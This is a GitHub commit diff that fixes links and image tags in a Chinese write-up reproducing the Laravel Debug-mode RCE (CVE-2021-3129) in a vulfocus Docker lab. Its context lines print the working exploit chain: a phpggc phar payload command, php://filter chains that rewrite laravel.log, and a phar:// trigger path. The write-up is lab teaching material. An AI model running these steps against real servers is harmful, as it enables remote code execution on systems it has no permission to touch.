Skip to content

Commit 4d8a4c6

Browse files
committed
writeup
1 parent 11c56be commit 4d8a4c6

File tree

2 files changed

+18
-18
lines changed

2 files changed

+18
-18
lines changed

_sidebar.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,7 @@
6464
* [ThinkPHP5远程代码执行漏洞(CNVD-2018-24942)](writeup/ThinkPHP5远程代码执行漏洞_CNVD-2018-24942_hu4wufu/README.md)
6565
* [struts2-045(CVE-2017-5638)](writeup/struts2-045_CVE-2017-5638_hu4wufu/README.md)
6666
* [struts2-052(CVE-2017-9805)](writeup/struts2-052_CVE-2017-9805_hu4wufu/README.md)
67-
* [Laravel远程代码执行漏洞(CVE-2021-3129)](Laravel_Debug_mode远程代码执行_anxianglang/CVE-2021-3129.md)
67+
* [Laravel远程代码执行漏洞(CVE-2021-3129)](writeup/Laravel_Debug_mode远程代码执行_anxianglang/CVE-2021-3129.md)
6868

6969

7070
* 镜像

writeup/Laravel_Debug_mode远程代码执行_anxianglang/CVE-2021-3129.md

+17-17
Original file line numberDiff line numberDiff line change
@@ -12,31 +12,31 @@ Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_ge
1212

1313
(1)打开vulfocus:http://vulfocus.fofa.so/
1414

15-
![](.\图片1.png)
15+
<img src="./图片1.png" style="zoom:150%;" />
1616

1717
(2)查找漏洞编号
1818

19-
![](.\图片2.png)
19+
<img src="./图片2.png" style="zoom:150%;" />
2020

2121
(3)点击启动即可生成镜像
2222

23-
![](.\图片3.png)
23+
<img src="./图片3.png" style="zoom:150%;" />
2424

2525
(4)也可以在docker hub库中搜索vulfocus镜像
2626

27-
![](.\图片4.png)
27+
<img src="./图片4.png" style="zoom:150%;" />
2828

2929
(5)选择想要下载的docker环境,点击进去复制下载路径
3030

31-
![](.\图片5.png)
31+
<img src="./图片5.png" style="zoom:150%;" />
3232

3333
(6)然后在kail上执行复制路径就可以直接下载
3434

35-
`docker pull vulfocus/laravel-cve_2021_3129`![](.\图片6.png)
35+
`docker pull vulfocus/laravel-cve_2021_3129`<img src="./图片6.png" style="zoom:150%;" />
3636

3737
(7)下载完毕之后就保存在本地的docker库中
3838

39-
`docker images` ![](.\图片7.png)
39+
`docker images` <img src="./图片7.png" style="zoom:150%;" />
4040

4141
(8)可以用docker run命令直接启动漏洞环境了
4242

@@ -60,25 +60,25 @@ Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_ge
6060
php -d 'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
6161
```
6262

63-
<img src=".\图片8.png" style="zoom:150%;" />
63+
<img src="./图片8.png" style="zoom:150%;" />
6464

6565
(2)清空log文件
6666

6767
```
6868
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
6969
```
7070

71-
![](.\图片9.png)
71+
<img src="./图片9.png" style="zoom:150%;" />
7272

7373
(3)给log添加一个前缀
7474

7575
`viewFile: AA`
7676

77-
![](.\图片10.png)
77+
<img src="./图片10.png" style="zoom:150%;" />
7878

7979
(4)将编完码后的字符写入log中
8080

81-
![](.\图片11.png)
81+
<img src="./图片11.png" style="zoom:150%;" />
8282

8383
注意:因为每次payload都会写入两次,所有请在payload最后面加上一个字母a,只让payload生效一次
8484

@@ -88,31 +88,31 @@ php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|
8888
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
8989
```
9090

91-
![](.\图片12.png)
91+
<img src="./图片12.png" style="zoom:150%;" />
9292

9393
(6)触发phar反序列化执行命令
9494

9595
`phar:///Applications/MxSrvs/www/laravel/storage/logs/laravel.log/test.txt`
9696

97-
![](.\图片13.png)
97+
<img src="./图片13.png" style="zoom:150%;" />
9898

9999
注意:只有在编辑log的时候返回的是500,其他时候都是200,如有特殊情况需要从第一步从新开始
100100

101-
(7)如果上述方法太复杂也可利用Exp来复现漏洞,输入目标ip和端口![](.\图片14.png)
101+
(7)如果上述方法太复杂也可利用Exp来复现漏洞,输入目标ip和端口<img src="./图片14.png" style="zoom:150%;" />
102102

103103
用python3运行脚本
104104

105-
<img src=".\图片15.png" style="zoom:150%;" />
105+
<img src="./图片15.png" style="zoom:150%;" />
106106

107107
注意:Exp脚本要和phpggc文件夹在同一目录下,还要给phpggc执行权限,否则无法复现
108108

109109
(8)Goby中也有该漏洞的Poc用来验证漏洞
110110

111-
![](.\图片16.png)
111+
<img src="./图片16.png" style="zoom:150%;" />
112112

113113
如果您有自己的Poc也可以通过Goby提交来获得奖金
114114

115-
![](.\图片17.png)
115+
<img src="./图片17.png" style="zoom:150%;" />
116116

117117
## **源码分析**
118118

0 commit comments

Comments
 (0)